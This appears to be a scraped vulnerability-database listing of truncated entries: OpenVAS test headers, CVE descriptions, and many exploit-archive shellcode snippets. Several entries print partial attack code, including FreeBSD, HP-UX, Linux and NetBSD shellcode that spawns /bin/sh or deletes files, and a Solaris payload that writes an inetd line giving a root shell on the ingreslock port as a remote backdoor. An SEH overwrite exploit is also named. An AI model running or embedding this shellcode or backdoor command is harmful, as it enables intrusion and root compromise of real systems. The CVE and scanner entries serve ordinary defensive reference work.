Flatchat Directory Traversal Vulnerability

The host is running Flatchat and is prone to Directory Traversal vulnerability. OpenVAS Vulnerability Test $Id: gbflatchatdirtravvuln.nasl 4865 2016-12-28 16:16:43Z teissa $ Flatchat Directory Traversal Vulnerability Authors: Sharath S Copyright: Copyright c 2009 Greenbone Networks GmbH,...

freebsd/x86-64 exec(""/bin/sh"") shellcode 31 bytes

No description provided by source. / | | | | | | | \ | | | | || |/ |/ | |/ / ' \ | | / | | | | | | | | | | | | | | | | || ||,|||\| || || \/||| http://www.hacknroll.com Description: FreeBSD x86-64 exec"/bin/sh" Shellcode - 31 bytes Authors: Maycon M. Vitali 0ut0fBound Milw0rm .:...

freebsd/x86-64 - exec"/bin/sh" shellcode 31 bytes

freebsd/x86-64 exec"/bin/sh" shellcode 31 bytes. Shellcode exploit for freebsdx86-64 platform / | | | | | | | \ | | | | || |/ |/ | |/ / ' \ | | / | | | | | | | | | | | | | | | | || ||,|||\| || || \/||| http://www.hacknroll.com Description: FreeBSD x86-64 exec"/bin/sh" Shellcode - 31 bytes...

Flatchat Directory Traversal Vulnerability

Flatchat is prone to a directory traversal vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

freebsd/x86-64 execve /bin/sh shellcode 34 bytes

No description provided by source. / Anderson Eduardo c0d3z3r0 Hack'n Roll http://anderson.hacknroll.com http://blog.hacknroll.com .section .text .globl start start: xor %rcx,%rcx jmp string main: popq %rsi movq %rsi,%rdi pushq %rsi pushq %rcx movq %rsp,%rsi movq %rcx,%rdx movb $0x3b,%al syscall...

freebsd/x86-64 execve /bin/sh shellcode 34 bytes

Exploit for freebsd/x86-64 platform in category shellcode ================================================ freebsd/x86-64 execve /bin/sh shellcode 34 bytes ================================================ / Anderson Eduardo Hack'n Roll http://anderson.hacknroll.com http://blog.hacknroll.com...

freebsd/x86-64 - execve /bin/sh shellcode 34 bytes

freebsd/x86-64 execve /bin/sh shellcode 34 bytes. Shellcode exploit for freebsdx86-64 platform / Anderson Eduardo Hack'n Roll http://anderson.hacknroll.com http://blog.hacknroll.com .section .text .globl start start: xor %rcx,%rcx jmp string main: popq %rsi movq %rsi,%rdi pushq %rsi pushq %rcx mo...

DEBIAN-CVE-2009-0153

International Components for Unicode ICU 4.0, 3.6, and other 3.x versions, as used in Apple Mac OS X 10.5 before 10.5.7, iPhone OS 1.0 through 2.2.1, iPhone OS for iPod touch 1.1 through 2.2.1, Fedora 9 and 10, and possibly other operating systems, does not properly handle invalid byte sequences...

Star Downloader Free <= 1.45 (.dat) Universal SEH Overwrite Exploit

No description provided by source. / :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered and Exploited by dun Star Downloader Free = v1.45 .dat Universal SEH Overwrite Exploit Vendor:...

linux/x86 Perl script execution 99 bytes + script length

No description provided by source. / Author : darkjoker Site : http://darkjoker.net23.net Shellcode : linux/x86 Perl script execution 99 bytes + script length .global start start: xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx xor %edi, %edi xor %esi, %esi push %eax push $0x6c702e30...

CVE-2009-0824

Elaborate Bytes ElbyCDIO.sys 6.0.2.0 and earlier, as distributed in SlySoft AnyDVD before 6.5.2.6, Virtual CloneDrive 5.4.2.3 and earlier, CloneDVD 2.9.2.0 and earlier, and CloneCD 5.3.1.3 and earlier, uses the METHODNEITHER communication method for IOCTLs and does not properly validate a buffer...

Code injection

Elaborate Bytes ElbyCDIO.sys 6.0.2.0 and earlier, as distributed in SlySoft AnyDVD before 6.5.2.6, Virtual CloneDrive 5.4.2.3 and earlier, CloneDVD 2.9.2.0 and earlier, and CloneCD 5.3.1.3 and earlier, uses the METHODNEITHER communication method for IOCTLs and does not properly validate a buffer...

CVE-2009-0824

CVE-2009-0824 affects ElbyCDIO.sys and related SlySoft/Elby components (AnyDVD before 6.5.2.6, Virtual CloneDrive 5.4.2.3 and earlier, CloneDVD 2.9.2.0 and earlier, CloneCD 5.3.1.3 and earlier). The issue is a buffer validation problem in IOCTL handling using METHOD_NEITHER, allowing a local atta...

CVE-2009-0824

Elaborate Bytes ElbyCDIO.sys 6.0.2.0 and earlier, as distributed in SlySoft AnyDVD before 6.5.2.6, Virtual CloneDrive 5.4.2.3 and earlier, CloneDVD 2.9.2.0 and earlier, and CloneCD 5.3.1.3 and earlier, uses the METHODNEITHER communication method for IOCTLs and does not properly validate a buffer...

kernel: dell_rbu local oops

drivers/firmware/dellrbu.c in the Linux kernel before 2.6.27.13, and 2.6.28.x before 2.6.28.2, allows local users to cause a denial of service system crash via a read system call that specifies zero bytes from the 1 imagetype or 2 packetsize file in /sys/devices/platform/dellrbu/...

Hp-ux - execve(/bin/sh) - 58 bytes

No description provided by source. / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

linux/x86 File unlinker 18 bytes + file path length

linux/x86 File unlinker 18 bytes + file path length. Shellcode exploit for linx86 platform / Author : darkjoker Site : http://darkjoker.net23.net Shellcode : linux/x86 File unlinker 18 bytes + file path length .global start start: jmp one two: pop %ebx movb $0xa,%al int $0x80 movb $0x1, %al xor...

linux/x86 Perl script execution 99 bytes + script length

Exploit for linux/x86 platform in category shellcode ======================================================== linux/x86 Perl script execution 99 bytes + script length ======================================================== / Author : darkjoker Site : http://darkjoker.net23.net Shellcode :...

Solaris/x86 - add services and execve inetd - 201 bytes

No description provided by source. / Solaris/x86 Just execve's the following: "echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;" "/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x"; for a trivial remote bd. Used in a few old Solaris/x86 remote exploits. / char c0de =...

NetBSD/x86 - setreuid(0, 0); execve("/bin//sh", ..., NULL); - 29 bytes

No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; note: unsafe shellcode, but 29 bytes long; doesn't work if eax & 0x40000000 != 0; / include "sys/types.h" include "stdio.h" include "string.h" char scode = "\x9...